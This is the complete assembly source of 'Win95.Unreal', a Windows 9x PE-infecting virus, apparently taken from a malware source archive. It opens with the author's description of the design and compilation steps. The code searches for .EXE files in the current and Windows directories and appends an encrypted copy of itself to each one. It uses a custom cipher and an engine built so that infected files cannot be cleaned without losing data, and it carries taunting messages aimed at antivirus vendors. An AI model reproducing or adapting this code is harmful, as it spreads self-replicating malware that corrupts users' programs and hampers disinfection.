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MalwareSourceCode/LegacyWindows/Win95/Win95.Unreal.asm

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Win95.Unreal
Comment %
-----------------------------+ UNREAL +--------------------
+----+ By Qozah +----+
-------+ Briefing +---------------------------------------------------------
Unreal is a 3349 bytes long PE infector. It works on win9x systems by
appending it's code to the last file section and modifying the header to
do so - the so called 29A technique.
It uses multithreading to perform it's infection; as it should waste time
that could be noticed by the user, launches it's routines as a thread and
jumps in the main thread to the legit code. Of course, it's possible
that the main thread is closed before the program is, but even if the
virus was infecting at that time nothing would happen; as it uses file
mapping, changes will be saved only when all is finished. Anyway I've
heard this idea was used before, but I also thought it didn't I ? :P
Unreal is encrypted by QBCE ( Qozah's Block Cyphering Engine ), which
is a block cypher deeply analyzed forward. In a few words, it
makes 24 rounds of encryption with random operations on the code, making
it a good algorithm for crypting.
Now, maybe the best idea inside this one is that it's virtually
uncleanable by normal methods, due to an engine I called UVE. I strongly
recommend at least understanding the idea on it. Past is gone, we can't
relay on it making the same things. Technology has to strenghten, and new
ideas to fuck up antivirus's work should be taken as a standard. This is
a good example.
Descriptions on QBCE and UVE follow.
-------+ Qozah's Block Cyphering Engine +-----------------------------------
Basic operations
----------------
The engine selects randomly a bunch of 24 rounds which will work in all
the bytes of the encrypted file ( this value can be changed )
That values are 10 bits long, and look this way:
+-+-+-+-+-+-+-+-+-+-+
| | | | | | | | | | |
+-+-+-+-+-+-+-+-+-+-+
^ ^
| |
Select |
|
Argument
The cipher works with three basic operations: ADD, SUB, XOR, ROR and ROL.
So, the meanings of Select are:
00 ADD
01 SUB
10 XOR
11 ROR/ROL
When there is a ROR or a ROL the cipher looks at the next bit; a 0 means
ROR, and a 1 means ROL. These operations are obviously the ones to decrypt
the code, as the encryption will set them up. The value stored in the
Argument part which is 8 bits long except in ROL and ROR where it's just
7 bits: nothing to fear, as it won't be very interesting to make a more
than 31 times rotation.
The table where this is stored is 31 bytes long, which is enough to
perform 24 operations ( 24*10 = 240 bits, 240/8 = 30 bytes ). The other
byte is used when messing up two 32 bit blocks.
Block ciphering
---------------
The engine doesn't just crypt the code with that bunch of operations.
Looking at the complete length ( which is stored in 16 bits with a maximum
of 64Kb - keep an eye if you want to make it take bigger stuff ), it
divides the code in 64-bit blocks this way:
+---------+---------+---------+-----+
| | | | |
+---------+---------+---------+-----+
64-bits 64-bits 64-bits Last block ( undefined )
It will start cyphering 32-bit bunchs on each block, then operating
among any of the 2 bunchs of each block, and finally modifying the
last block. When the engine starts working, it divides the 64 bit block
in two dwords ( 32-bit each ). Loads the first of them and makes 24
operations byte to byte, going later with the other block:
Cyphering 32 bits
-----------------
Let's suppose the dword is in EAX:
The first byte ( in xL ) is encrypted with the first operation, then
it's value is stored, the 32-bit register for it rotated right 8 bits,
and the same operation that was applied to it is made to the next byte;
the argument will be the encrypted byte. So the rotated byte in xL is
processed the same way:
In this example, the first operation will be "ADD AL,4Ch", and the
second will be "ROR AL,5h"
Original state First operation
+4C
+----+----+----+----+ +----+----+----+----+
| 1A | F0 | D1 | 43 | | 1A | F0 | D1 | 8F |
+----+----+----+----+ +----+----+----+----+
ROL EAX,8d ( to work with next byte ) Second operation
ROR 5h
+----+----+----+----+ +----+----+----+----+
| 8F | 1A | F0 | D1 | | 8F | 1A | F0 | D1 |
+----+----+----+----+ +----+----+----+----+
Then, it will make that second operation to the byte "1Ah" and so on,
in it's 24 rounds, using of course 24 different operations ( so each
byte is changed 24/4*2 = 12 times )
When two 32-bit bunchs are finished, they will be stored: for
decryption, the engine works backwards: first AL is operated, then
rotated left and operated again with the same op, the next one is
done to the same AL, and so on.
Block messing
-------------
When two 32 bit blocks are done, the first one is re-encrypted by the
second using up to four operations stored in a single byte that can be
either ADD or XOR in different ways, taking the other block as argument.
That byte is stored this way:
00 ADD ( the other block )
01 ADD ( rotating the other block )
10 XOR ( with the other block )
11 XOR ( with the other block rotated )
So you can see the first bit tells us if we should rotate or not the
block: when decrypting, this will be the first to execute instead
of the bunch-cyphering doing first the rotation op ( which is done the
last when encrypting )
Last block
----------
As you should have noticed, the last block won't probably be 64-bit
long. So, this unfixed length block is handled in a different way. If we
can take 32 bits from it, they will be done as a normal 32-bit block as
before.
The other block won't be even touched: it's highly recommended not to
place anything important there or anything we should be recognized for:
it's not any big waste, as the bigger number of bytes that can be
outside blocks and non-encrypted is 3.
So, place three fake bytes in the end of the encrypted code, and even
fill 'em with shit: the engine will ignore them.
-------+ Uncleanable Virus Engine +-----------------------------------------
The UVE is an idea performed after making my article about polymorphism,
and how it can always be detectable. Thinking on alphabets and languages,
a poly engine cannot be undetected, but a file infected by a virus can be
made uncleanable.
That's the idea behind this engine, making it impossible to remove the
virus from a file, at least by a normal procedure. You could make this
idea bigger supporting many instructions, but that's not my point. Be it
one instruction as in my engine, or X instructions, the important
objective is accomplished. I've received some complaints because most
files didn't begin by mov reg,imm32. But the main objective on uncleanable
making is made: confussion, and not knowing if the instruction was or
wasn't in the beggining of the file.
I'll describe it in 5 points:
<li> First of all, check if the first instruction of the legit code, the one
on the entry point, is a mov reg,imm32.
<li> In the beggining of the virus code, place that mov reg,imm32 if it
exists, and another 6 mov reg,imm32 instructions which use random
registers and random value assignations - not using esp or the one the
legit instruction uses.
<li> If there's no mov reg,imm32 instruction in the beggining of the legit
code, the engine will anyway generate 7 random mov reg,imm32 instructions
at the beggining of the virus.
<li> The legit code instruction 'mov reg,imm32' is overwritten with 0s, and
the old entry point is added 5.
<li> When the .exe is run, these 7 instructions are executed, then registers
are pushed onto the stack, and when returning to original host, they're
replaced. So, an antivirus can't know if there was a 'mov reg,imm32' in
the beggining of the original host code, or which one was it, so it
can't replace it.
-------+ Greetings +--------------------------------------------------------
Special greetings in this virus go to:
Billy Belcebu -> For the idea on getting the Kernel32.DLL address: kewl.
And thanks for letting me publish in your magazine.
Sopinky -> For all yer support man
Z0mbie -> Cool ideas, how do u have tha time ? Ya rule, thanx for help
Benny -> Need to hear from yer projects
-------+ Contact +----------------------------------------------------------
E-mail me at qozah@hax0r.com.ar
-------+ Compilation +------------------------------------------------------
tasm32 -ml -m5 -q -zn unreal.asm
tlink32 -v -Tpe -c -x -aa unreal,,, import32
pewrsec unreal.exe
remove unreal.exe after the first infection when executing files in the
same directory (tasm bug makes own infection a fuckup)
---------------------------?-------------?----------------------------------
%
.486p
.model flat
NULL EQU 00000000h
MB_ICONEXCLAMATION EQU 00000030h
extrn ExitProcess: proc
extrn GetModuleHandleA: proc
extrn GetProcAddress: proc
extrn MessageBoxA: proc
.data
db ?
.code
v_start label byte
Start:
db 35d dup (90h) ; Place set for 7 instructions.
pusha
call Get_Delta ; Get Delta Offset
Get_Delta:
mov esi,esp
add dword ptr [esi],Real_start-Get_Delta
push esi
lodsd
sub eax,offset Real_start
mov ebp,eax
pop dword ptr [Find_Win32_Data+ebp]
push dword ptr [ebp+dif_point2]
pop dword ptr [ebp+dif_point]
call external_first_gen_ops
external_address equ $-4
ret
EncStart label byte
; Other Data
number_bytes: dd 0
Search_File: db '*.EXE',0
GetMHandle: dd 0
Azathoth: db 'Unreal virus written by Qozah',0
db 'So how are you going to clean this one, AV guys ?',0
db 'It''s your turn, to tell the people that buy your '
db 'shit that you cannot disinfect this one without '
db 'risking their data ',0
; API adresses
API_Adresses:
API_Create: dd 0
API_Close: dd 0
API_FindFirst: dd 0
API_FindNext: dd 0
API_CMap: dd 0
API_MapView: dd 0
API_Unmap: dd 0
API_Pointer: dd 0
API_SetEnd: dd 0
API_ExitThread: dd 0
API_CrThread: dd 0
API_GetWDir: dd 0
API_SetDir: dd 0
API_GetTime: dd 0
Real_start:
; Get all the APIs we'll need in the virus
lea esi,[API_Reference+ebp] ; Initialize
lea ebx,[API_Names+ebp]
lea edi,[API_Adresses+ebp]
mov ecx,API_Quantity
Get_APIs:
push ecx
xor eax,eax
lodsb
add ebx,eax
push ebx
push dword ptr [GetMHandle+ebp]
call GetProcAddress
GPAddress equ $-4
stosd ; Save address
pop ecx
loop Get_APIs
;
; lpThreadAttributes;dwStackSize;lpStartADress,lPParameter,
;dwCreationFlags, lpThreadld
lea eax,[THR+ebp]
push eax
push 0 0
lea eax,[FindFirstFile+ebp]
push eax
push 1000d 0
mov eax,dword ptr [API_CrThread+ebp]
call eax
jmp ReturnHost
THR: dd 0
;epflag: db 0
;----------------------
; FindFirst "Host.EXE"
FindFirstFile:
call Delta4thread
Delta4thread:
pop ebp
sub ebp,offset Delta4thread
mov byte ptr ds:[signal+ebp],01d
FindFirstReal:
lea eax,[Find_Win32_Data+ebp]
push eax
lea eax,[Search_File+ebp]
push eax
mov eax,dword ptr [API_FindFirst+ebp]
call eax
or eax,eax
jz EndReturn
push eax
call Infect
LoopFindNext:
pop ebx ; Handle for finding
push ebx
call FindNext
or eax,eax
pop eax
jz EndReturn
push eax
call Infect
jmp LoopFindNext
WinDir: db MAX_PATH dup (90h)
signal: db 01h
; We finished, so we just get out
;#########################################################################
; We should now infect the windows directory
;#########################################################################
EndReturn:
; We change directory ( now it's windows one )
push MAX_PATH
lea eax,[WinDir+ebp]
push eax
mov eax,dword ptr [API_GetWDir+ebp]
call eax
lea eax,[WinDir+ebp]
push eax
mov eax,dword ptr [API_SetDir+ebp]
call eax
dec byte ptr ds:[signal+ebp]
mov al,byte ptr ds:[signal+ebp]
or al,al
jz FindFirstReal
ExitGame:
push NULL
mov eax,dword ptr [API_ExitThread+ebp]
call eax
; FINISH
FindNext:
lea eax,[Find_Win32_Data+ebp]
push eax
push ebx
mov eax,dword ptr [API_FindNext+ebp]
call eax
ret
Infect:
; Open "Host.EXE"
push 0 0 3 0 1 0C0000000h ; Read/Write access
lea eax, [Find_Win32_Data+WFD_szFileName+ebp]
push eax
mov eax, dword ptr [API_Create+ebp]
call eax
mov ebx,eax
inc eax
jnz No_Prob1
ret
No_Prob1:
push ebx ;also for open_mapping
; CreateFileMapping
mov edi,dword ptr [Find_Win32_Data+WFD_nFileSizeLow+ebp]
add edi,virus_size ; Host plus our size
push 0
push edi
push 0
push PAGE_READWRITE ; R/W
push 0 ; Opt_sec_attr
push ebx ; Handle
mov eax, dword ptr [API_CMap+ebp]
call eax
push eax ; Save mapping handle
or eax,eax
jnz No_Prob2
ret
badress: dd 0
No_Prob2:
; MapViewOfFile
push edi
push 0
push 0
push FILE_MAP_ALL_ACCESS
push eax ; handle
lea eax,dword ptr [API_MapView+ebp]
call dword ptr [eax]
or eax,eax
jz Close_handles ; Does it (???)
push eax
mov edx,eax
mov dword ptr ds:[badress+ebp],eax
; Base address = eax
;///////////////////////////////////////////////////////////////////////////
; File mapped, infection begins
;///////////////////////////////////////////////////////////////////////////
movzx ebx, word ptr ds:[eax]
add bh,bl
add bh,-('M'+'Z')
jnz unmap_close
mov bx,word ptr ds:[eax+03ch]
add edx,ebx ; PE header
mov bx,word ptr ds:[edx]
xor bx,0baafh ; Is PE header ?
inc bx
jnz unmap_close
or word ptr ds:[0014h+edx],0 ; Optional header exists ?
jz unmap_close
mov eax,dword ptr ds:[04ch+edx]
add eax,-'CHR0'
jz unmap_close
mov ax,word ptr ds:[016h+edx] ; File is executable
and ax,0002h
jz unmap_close
; So, we have a suitable file for infection
; Now then calculate beggining of last section
mov esi,edx
add esi,18h
mov bx,word ptr ds:[edx+14h] ; SizeofOptional
add esi,ebx ; Start of Section Table
; Now that esi = section table, we must search
;which is the last one: that is, looking at the biggest
;PointerToRawData field.
push esi
movzx ecx,word ptr ds:[edx+06h] ; number of sections
mov edi,esi
xor eax,eax
push cx
X_Sections:
pushad
mov ebx,esi
mov eax,dword ptr ds:[edx+02Ch] ; Get the code RVA
cmp dword ptr ds:[edi+0Ch],eax ; Are they the same ?
jnz fuckya
mov esi,dword ptr ds:[edx+028h] ; Substract Entry Point RVA to Code base
sub esi,eax
add esi,dword ptr ds:[ebx+014h]
add esi,dword ptr ds:[badress+ebp]
lea edi,Start+ebp
push eax ebx ecx edx esi edi ebp
call UVE
pop ebp edi esi edx ecx ebx eax
jc fuckya
; Overwrite old instructions with 0s
mov dword ptr ds:[esi],0h
mov byte ptr ds:[esi+4d],0h
; Activate flag: old ep has to be increased by 5
add dword ptr ds:[edx+028h],5d
fuckya:
popad
cmp dword ptr [edi+14h],eax
jz Not_Biggest
mov ebx,ecx
mov eax,dword ptr [edi+14h]
Not_Biggest:
add edi,28h
loop X_Sections
pop cx ; number of sections
sub ecx,ebx ; calculate last one
mov eax,028h
push edx
mul ecx
pop edx
add esi,eax
; We've got the last section in the section table just
;in esi ( while PE header is still in edx )
; So first we set it to writable, code and executable
;( also, we discard it if it contains useless data, as
;.reloc has )
or dword ptr ds:[esi+24h],0A0000020h
; Now we save SizeOfRawData, add our size to the Virtual
;size, to put the real size of the section now.
mov edi,dword ptr ds:[esi+10h]
mov eax,virus_size
xadd dword ptr ds:[esi+8h],eax ; VirtualSize
push eax
add eax,virus_size
; As eax holds the new virtual size, we have probably
;fucked the alignment. So we get it and divide the new
;VirtualSize by the alignment: the result of the new
;SizeOfRawData is just the quotient multiplied by the
;Alignment
push edx
mov ecx, dword ptr ds:[edx+03ch]
xor edx,edx
div ecx ; eax holds virtual size
xor edx,edx
inc eax
mul ecx ; file align x number of bunchs
mov ecx,eax
mov dword ptr ds:[esi+10h],ecx
pop edx
; Now the NewSizeOfRawData is calculated and stored. So
;what's now ? We add that place the VirtualAddress stored
;in offset 0ch... and so we get the new entry point for
;the virus: that VirtualAddress ( where it's loaded in
;memory ) plus the offset where the virus is at, makes
;our entry point.
pop ebx ; This is VirtualSize - virus_size
add ebx,dword ptr ds:[esi+0ch] ; section RVA
mov eax,dword ptr ds:[edx+028h] ; Old entry point
mov dword ptr ds:[dif_point2+ebp],ebx
no_ep_mod:
sub dword ptr ds:[dif_point2+ebp],eax
mov dword ptr ds:[edx+28h],ebx
; Then, we calculate how much more data we have...
;and so we store it in SizeOfImage ( of course, it's
;this rounded one as it have to be aligned...
sub ecx,edi
add dword ptr ds:[edx+50h],ecx ; add to SizeOfImage
mov dword ptr ds:[edx+04ch],'CHR0'
; EAX = OLD EP
; EBX = NEW EP
; Now to finish infection, the whole virus is copied
;to the file.
pop ebx
pop edi
push edi
add edi,dword ptr ds:[esi+14h]
add edi,dword ptr ds:[esi+8h]
sub edi,virus_size
lea esi,[ebp+v_start]
mov ecx,virus_size
pushad
call Infection_cryption
popad
mov edi,0bff70000h
; Close and go
unmap_close:
lea eax,dword ptr [API_Unmap+ebp]
call dword ptr [eax]
Close_handles:
lea eax, [API_Close+ebp]
call dword ptr [eax]
add edi,-0bff70000h
jz Cool_infected
; If we had any problems, we have to set the old
;file length so it doesn't grow
pop ebx ; File handle
push 0 0
push dword ptr [Find_Win32_Data+WFD_nFileSizeLow+ebp]
push ebx
lea eax, [API_Pointer+ebp]
call dword ptr [eax]
push ebx
lea eax, [API_SetEnd+ebp]
call dword ptr [eax]
push ebx
Cool_infected:
lea eax, [API_Close+ebp]
call dword ptr [eax]
ret
API_Reference:
db 0d,12d,12d,15d,14d,19d,14d,16d,15d,13d,11d
db 13d,21d,21d
End_Reference label byte
API_Quantity equ End_Reference-API_Reference
; API names
API_Names:
db 'CreateFileA',0
db 'CloseHandle',0
db 'FindFirstFileA',0
db 'FindNextFileA',0
db 'CreateFileMappingA',0
db 'MapViewOfFile',0
db 'UnmapViewOfFile',0
db 'SetFilePointer',0
db 'SetEndOfFile',0
db 'ExitThread',0
db 'CreateThread',0
db 'GetWindowsDirectoryA',0
db 'SetCurrentDirectoryA',0
db 'GetSystemTime',0
;
; GETTING GETMODULEHANDLE AND GETPROCADDRESS
; Here we look at the GetModuleHandle and GetProcAddress addreses in
;memory so that we can use all the APIs in the virus.
;
GetModuleHandleProcAddress:
; This method on getting the Kernel32.dll address was suggested by Billy
;Belcebu so I must give him some greetings ;). As a program is
;consecuence of a CreateProcess call, place in kernel from where it
;was called is still in the stack; so we substract from it again and
;again till we find the real header.
mov edi,esp
mov edi,[edi+02Ch]
and edi,0FFFF0000h
CheckAgain:
sub edi,10000h
mov ax,word ptr ds:[edi]
add ax,-'ZM'
jnz CheckAgain
; So we've got the kernel just right here.
mov edx,dword ptr ds:[edi+03ch]
add edx,edi
mov ebx,dword ptr ds:[edx+78h]
add ebx,edi
mov esi,dword ptr ds:[ebx+20h] ; AddressOfNames
add esi,edi ; + base address of K32
xor ecx,ecx
Find_GPA:
inc ecx
lodsd ; Pointer to name
mov edx,eax
add edx,edi ; Name in edx
cmp dword ptr ds:[edx],'PteG'
jnz Find_GPA
cmp dword ptr ds:[edx+5h],'dAco'
jnz Find_GPA
ProcFound:
; ecx handles where we found it.
dec ecx
rol ecx,1h
mov esi,dword ptr ds:[ebx+24h] ; Address of ordinals
add esi,edi
add esi,ecx
xor eax,eax
lodsw ; EAX = ordinal numbah
mov esi,dword ptr ds:[ebx+01ch]
add esi,edi
rol eax,2h ; *4h
add esi,eax
lodsd
add eax,edi ; Adjust to base
; Absolute address here
mov esi,ebp
add esi,(offset GPAddress-offset v_start)+401004h
sub eax,esi
mov dword ptr ds:[GPAddress+ebp],eax ; Set addr
mov dword ptr [GetMHandle+ebp],edi ; Set Base
; So we stored GetProcAddress place
ret
;GPName: db 'GetProcAddress'
returnway: dd 0
; Internal text
image_base: dd 0
; Structures
Find_Win32_Data:
db SIZEOF_WIN32_FIND_DATA dup (90h)
EncEnd label byte
EncLength equ EncEnd-EncStart
;/*************************************************************************/
; Here is where virus decryption is perfomed after the 1st generation.
;/*************************************************************************/
ReturnHost:
push cs
pop word ptr ds:[ebp+offset seg]
mov eax,ebp
add eax,offset v_start
sub eax,12345678h
dif_point equ $-4
push eax
pop dword ptr ds:[ebp+offset dif_p3]
popad
db 0eah
dif_p3: dd 0
seg: dw 0
dif_point2 dd - (offset First_out - offset v_start)
Infection_cryption:
pushf
pushad
lea esi,dword ptr [EncStart+ebp]
mov ecx,EncLength
call Encrypt
popad
popf
rep movsb
pushf
pushad
lea esi,dword ptr [EncStart+ebp]
mov ecx,EncLength
call Decrypt
popad
popf
ret
Decryption:
pushf
pushad
lea esi,dword ptr [EncStart+ebp]
mov ecx,EncLength
call Decrypt
popad
popf
call GetModuleHandleProcAddress
ret
;============================================================================
; UNCLEANABLE VIRUS ENGINE
;============================================================================
; if CF is set, no mov ?s:reg32,imm32 was found, but it was
;generated anyway.
; UVE: Engine parameters:
;
; ESI: Offset where the first instruction is red from.
; EDI: Offset where the code has to be written to
;
Instruction:
db 0bbh,12h,00h,00h ; mov ebx, 12h
db 0,0,0,0
;=========================*******************===============================
; INSTRUCTION CHECK
;=========================*******************===============================
GetFirstInstruction:
push edi
lea edi,Instruction+ebp
GetInstructionTrue:
lodsb
; First of all, check if there is a prefix
cmp al,0b8h
jb No_Shit ; This means no suitable instruction. So,
cmp al,0c0h ;we just don't care but generate fake
jae No_Shit ;instructions :)
; Go then to real instructions
MovRegImm:
dec esi
mov ecx,5
rep movsb ; Copy to our instruction buffer
pop edi
mov ecx,5
ret
No_Shit:
; Well, there's no instruction. So, we must generate a fake one
;to act as if it was legit in our code, then AVers mustn't know
;even if I supressed any.
pop edi
mov eax,7 ; Times to do it
faker_nf:
mov ecx,5 ; Length of instruction
push eax
call PrintFake
pop eax
dec eax
jnz faker_nf
stc
pop ecx ; Adjust stack
jmp Ended_Stuff
;=========================*******************===============================
; MARK OPCODE
;=========================*******************===============================
;
; MarkOpcode: with the first instruction at hand, this function determines
;which opcode is affected by it. After that, it stores a value in the
;correct marker.
; EDI ESI EBP ESP EBX EDX ECX EAX
Marker: db 00010000b
MarkOpcode:
; In case it's b8h-bfh
Opcode_Prefix:
lea esi,Instruction+ebp
xor eax,eax
lodsb
sub al,0b8h
; add al,24d
bts dword ptr ds:[Marker+ebp],eax
ret
;=========================*******************===============================
; RANDOM SEED
;=========================*******************===============================
; GetRandomSeed/GetRandomNumber: Randomize functions.
GetRandomSeed:
lea eax,[TimeKindOf+ebp]
push eax
lea eax, [API_GetTime+ebp]
call dword ptr ds:[eax]
ret
GetRandomNumber:
push ecx
mov ax,word ptr ds:[Miliseconds+ebp]
xor ax,1264h
RndVal equ $-2
mov cx,ax
add ax,word ptr ds:[Second+ebp]
xor ax,word ptr ds:[Miliseconds+ebp]
rol ax,1
add cx,ax
xor word ptr ds:[RndVal+ebp],ax
ror ax,7d
add ax,cx
add ax,word ptr ds:[Miliseconds+ebp]
rol ax,4d
xor cx,ax
sub ax,word ptr ds:[RndVal+ebp]
ror ax,3d
add word ptr ds:[RndVal+ebp],ax
mov word ptr ds:[Miliseconds+ebp],ax
add ax,cx
rol ax,11d
pop ecx
ret
;=====================***************************===========================
; PRINT LEGIT/FAKE
;=====================***************************===========================
secondary_buffer: db 5 dup(90h)
PrintLegit: ; The legit instruction
push ecx
lea esi,Instruction+ebp
rep movsb
pop ecx
ret
PrintFake: ; A random one
call GetRandomNumber
and ax,0007h
push eax
mov dx,08d
sub dx,ax ; Get reserved
bt dword ptr ds:[Marker+ebp],edx
pop edx
jc PrintFake ; Is it reserved ?
lea esi,secondary_buffer+1+ebp
mov ecx,5
; Now the fake instructions has to be printed. It's with the same
;value of the legit one, so we must change that value.
push esi
push ecx
add esi,ebp ; Now base pointer adjusts
mov ecx,12h
stvalue:
call GetRandomNumber
add word ptr [esi], ax
sub word ptr [esi+2], ax
add ax,word ptr [esi+2]
xor word ptr [esi],ax
xor ax,word ptr [esi+2]
xor word ptr [esi],ax
add word ptr [esi+2],ax
loop stvalue
pop ecx
pop esi
; This can be enough. Now let's just copy it to our buffer.
dec ecx
mov al,0b8h
add al,dl
stosb
rep movsb
ret
;=====================***************************===========================
; GENERATE INSTRUCTIONS
;=====================***************************===========================
; GenerateInstructions: this one will create instructions similar to the
;legit one, putting them into BufferInst. It will also put the legit one
;randomly among them.
GenerateInstructions: ; ecx is equal the number of opcodes
mov byte ptr ds:[Generated+ebp],0
mov esi,7
GenInstrAgain:
call GetRandomNumber
and ah,101b
jz LegGenerate
FakeIns:
push ecx esi
call PrintFake
pop esi ecx
jmp OneLess
LegGenerate:
cmp byte ptr ds:[Generated+ebp],1
jz FakeIns
push esi
call PrintLegit
pop esi
mov byte ptr ds:[Generated+ebp],1
OneLess:
dec esi
jnz GenInstrAgain
mov al,byte ptr ds:[Generated+ebp]
dec al
jz FinishedGenerating
sub edi,5
inc esi
jmp LegGenerate
FinishedGenerating:
ret
;=====================***************************===========================
; MAIN FUNCTION/DATA
;=====================***************************===========================
; GenerateInstructions: this one will create instructions similar to the
;legit one, putting them into BufferInst. It will also put the legit one
;randomly among them.
Generated: db 0
UVE:
call GetRandomSeed
call GetFirstInstruction
call MarkOpcode
push edi
lea esi,Instruction+ebp
lea edi,secondary_buffer+ebp
movsd
movsb
pop edi
call GenerateInstructions
clc
Ended_Stuff:
ret
TimeKindOf:
dw 0,0,0,0,0
Minute dw 0
Second dw 0
Miliseconds dw 0
InstToRead:
db 000h,12h,00h,00h ; mov ebx, 12h
db 0,0,0,0 ; 64 en 04
;===========================&&&&&&&&&&&&&&&&&&&==============================
; QOZAH'S BLOCK CYPHERING ENGINE
;===========================&&&&&&&&&&&&&&&&&&&==============================
;---------------------------------------------------------------------------
Create_Table:
push ecx
mov ecx,31d ; Create 31 bytes
lea edi,OperationTable+ebp
SixLoops:
call GetRandomNumber
stosb
loop SixLoops
pop ecx
ret
;---------------------------------------------------------------------------
GetBlocksReminder:
xor dx,dx
mov ax,08d
xchg ax,cx
div cx ; CX=number of blocks, DX=Remainder
mov cx,ax
ret
;---------------------------------------------------------------------------
EncryptBlock: ; ESI is supposed begin crypt offset
;while EAX is the shit to crypt
push ecx
lea edi,OperationTable+ebp
xor ebx,ebx
; lodsd
mov ecx,24d
MakeRound:
mov dword ptr [EncryptOperation+ebp],90909090h
push ecx
mov ecx,8d ; Value to load ( 8 bits )
; 34h XOR, 2CH SUB, 04h ADD, C0h C8h ROL, c0h c0h ROR
bt [edi],ebx
jc XorOrRox
inc ebx
mov byte ptr [EncryptOperation+ebp],04h ; ADD AL,XX
bt [edi],ebx
jc SubInst
add byte ptr [EncryptOperation+ebp],028h ; SUB AL,XX
SubInst: jmp OpCodeStoredA
XorOrRox:
inc ebx
bt [edi],ebx
jnc DealWithXor
RorOrXor:
inc ebx
bt [edi],ebx
mov word ptr [EncryptOperation+ebp],0c0c0h ; ROL AL,XX
jnc MakeRol ; IT'S MADE THE 'OTHER' WAY
add byte ptr [EncryptOperation+ebp+1],08h ; ROL AL,XX
MakeRol:
dec cx
; Ecx equ value to load, that is 7 bits for you
jmp OpCodeStoredA
DealWithXor:mov byte ptr [EncryptOperation+ebp],034h ; XOR AL,XX
OpCodeStoredA: ; Now it's time to obtain the cypher
xor edx,edx ; DX=0, DL=value to make operation
MakeValuesForOperation:
inc ebx ; points to +2 or +3 in the beggining
rol dl,1
bt [edi],ebx
jnc NoOperand
inc dl
NoOperand:
loop MakeValuesForOperation
cmp byte ptr [EncryptOperation+1+ebp],90h
jz Type1
mov byte ptr [EncryptOperation+2+ebp],dl
jmp EncryptOperation
Type1:
mov byte ptr [EncryptOperation+1+ebp],dl
db 0ebh,00h ; Avoid prefetch
; One instruction made ( out of 4 )
EncryptOperation:
db 90,90,90,90 ; work in AL. One byte excess to fit dword
ror eax,8d ; Next byte this way ->
mov esi,dword ptr ds:[EncryptOperation+ebp]
mov dword ptr ds:[SecondCryptA+ebp],esi
SecondCryptA:
db 90,90,90,90 ; work in AL. One byte excess to fit dword
pop ecx
dec ecx
jz FinishedCryptBlock
jmp MakeRound ; 24 times ( 24 encryptions in 4 blocks )
FinishedCryptBlock:
ror eax,8d ; Adjust last one.
pop ecx
ret
;---------------------------------------------------------------------------
Get_some_for_offset:
bt [edi],ebx
inc ebx
jnc DontAddDl
inc dl
DontAddDl: rol dl,1
loop Get_some_for_offset
ret
;---------------------------------------------------------------------------
GetDl:
push ebx
pop esi
; First of all, we get seven bits from the beggining of the
;table, that is, the offset relative to the table in bits
;to get our value.
xor edx,edx
lea edi,OperationTable+ebp
xor ebx,ebx
mov ecx,7d
call Get_some_for_offset
mov ebx,edx
; Now we have the desired offset so that we just get another
;value ( this time 5 bits ), which we will always use to
;operate.
xor edx,edx
mov ecx,5d
call Get_some_for_offset
ret
;---------------------------------------------------------------------------
MessTwoBlocks:
push ecx esi
call GetDl
; This value will be from now stored in edl then. Now we
;start checking the table.
mov ebx,0d8h ; beggining of that last 8 bits,
;as cfh is the beginning of the
;last operation
mov ecx,04h
Test_Rotate:
push ecx
bt [edi],ebx
jnc We_Dont_Rotate
; If we do rotate, we do it now, with dl value
mov byte ptr [DlHere+ebp],dl
db 0ebh,00h
db 0c1h,0c0h
DlHere: db ?
; Rotated or not, the second bunch is still in EAX, while
;the first one is in ESI. So, we test the second byte.
We_Dont_Rotate:
inc ebx
mov byte ptr [OperationBlock+ebp+2],03h ; add esi, eax
bt [edi],ebx
jnc OperationBlock
mov byte ptr [OperationBlock+ebp+2],33h ; xor esi, eax
OperationBlock:
db 0ebh,00h ; Prefetch
db 033h,0f0h
pop ecx
inc ebx
loop Test_Rotate
mov ebx,esi
pop esi ecx
ret
;---------------------------------------------------------------------------
Encrypt64KbBlocks:
lodsd
push esi
call EncryptBlock
pop esi
mov ebx,eax
lodsd
push esi ebx
call EncryptBlock ; So we have them in ebx and eax
pop ebx esi
call MessTwoBlocks
ret
;---------------------------------------------------------------------------
StoreOneBlock:
xchg eax,ebx
mov edi,esi
sub edi,8d
stosd
mov eax,ebx ; We store them two
stosd
ret
;---------------------------------------------------------------------------
Encrypt_stuff:
call GetBlocksReminder ; DX is the last one length
push dx
CheckLasting: ; DX = REMAINDER, CX = NUMBER O BLOCKS
or cx,cx ; No more ?
jz Go_last_block
call Encrypt64KbBlocks
call StoreOneBlock
loop CheckLasting
Go_last_block:
pop dx
cmp dx,4d ; Last block shit
jc Finished_crypting
push esi
lodsd
call EncryptBlock
pop edi
stosd
Finished_crypting:
ret
; Once we have the length, we can start
;---------------------------------------------------------------------------
Encrypt:
call Create_Table
call Encrypt_stuff
ret
;---------------------------------------------------------------------------
DeEncryptBlock:
rol eax,8d
push ecx
lea edi,OperationTable+ebp
mov ebx,0cfh+12h ; 10 bits * 24 operations
;something to adjust
mov ecx,24d
MakeRound2:
push ecx
sub ebx,12h ; The above adjustment with this
;allows us to do the encryption
;algorythm backwards
; 34h XOR, 2CH SUB, 04h ADD, C0h C8h ROL, c0h c0h ROR
mov dword ptr [EncryptOperation2+ebp],90909090h
mov ecx,8d ; Value to load ( 8 bits )
bt [edi],ebx
jc XorOrRox2
inc ebx
mov byte ptr [EncryptOperation2+ebp],04h
bt [edi],ebx
jnc SubInst2
add byte ptr [EncryptOperation2+ebp],028h
SubInst2: jmp OpCodeStoredA2
XorOrRox2:
inc ebx
bt [edi],ebx
jnc DealWithXor2
RorOrXor2:
inc ebx
bt [edi],ebx
mov word ptr [EncryptOperation2+ebp],0c0c0h
jc MakeRol2 ; IT'S MADE THE 'OTHER' WAY
add byte ptr [EncryptOperation2+ebp+1],08h
MakeRol2:
dec ecx
; Ecx equ value to load, that is 7 bits for you
jmp OpCodeStoredA2
DealWithXor2: mov byte ptr [EncryptOperation2+ebp],034h
OpCodeStoredA2: ; Now it's time to obtain the cypher
xor edx,edx
MakeValuesForOperation2:
inc ebx ; points to +2 or +3 in the beggining
rol dl,1
bt [edi],ebx
jnc NoOperand2
inc dl
NoOperand2:
loop MakeValuesForOperation2
cmp byte ptr [EncryptOperation2+1+ebp],90h
jz Type1B
mov byte ptr [EncryptOperation2+2+ebp],dl
jmp EncryptOperation2 ; just in case (testing)
Type1B: mov byte ptr [EncryptOperation2+1+ebp],dl
db 0ebh,00h ; Prefetch
; One instruction made ( out of 4 )
EncryptOperation2:
db 90,90,90,90 ; work in AL. One byte excess to fit dword
